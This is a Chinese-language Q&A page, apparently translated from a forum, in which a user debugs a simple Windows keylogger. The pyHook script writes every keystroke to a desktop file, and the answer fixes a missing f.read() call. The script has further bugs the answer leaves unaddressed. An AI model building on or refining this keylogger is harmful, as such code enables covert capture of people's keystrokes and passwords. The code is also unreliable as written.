如何解决[Type Error:+ =不支持的操作数类型:'builtin_function_or_method'和'str'] Python中的错误

时间:2019-04-11 07:31:17

标签: python pyhook pythoncom

我正在编写一个简单的键盘记录程序,该记录程序可以写入输出文件,但是当我尝试运行它时,它会带回此错误:

  

[TypeError:+ =:'builtin_function_or_method'和'str']不支持的操作数类型

输出文件中还写入了不可读的字符...

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()



def OnKeyboardEvent(event):
    keyPressed = chr(int(event.Ascii) + 64)
    if event.Ascii==5:
        _exit(1)

    if event.Ascii != 0 or 8:
        f=open('C:/Users/Andrés/Desktop/hello.txt','r')
        buffer=f.read
        f.close()
        f=open('C:/Users/Andrés/Desktop/hello.txt','w')
        keylogs=chr(event.Ascii)
        if event.Ascii==13:
            keylogs='/n'
        buffer += keylogs
        f.write(buffer)
        f.close()

hm = pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

1 个答案:

答案 0 :(得分:0)

您缺少括号:

buffer=f.read()
             ^^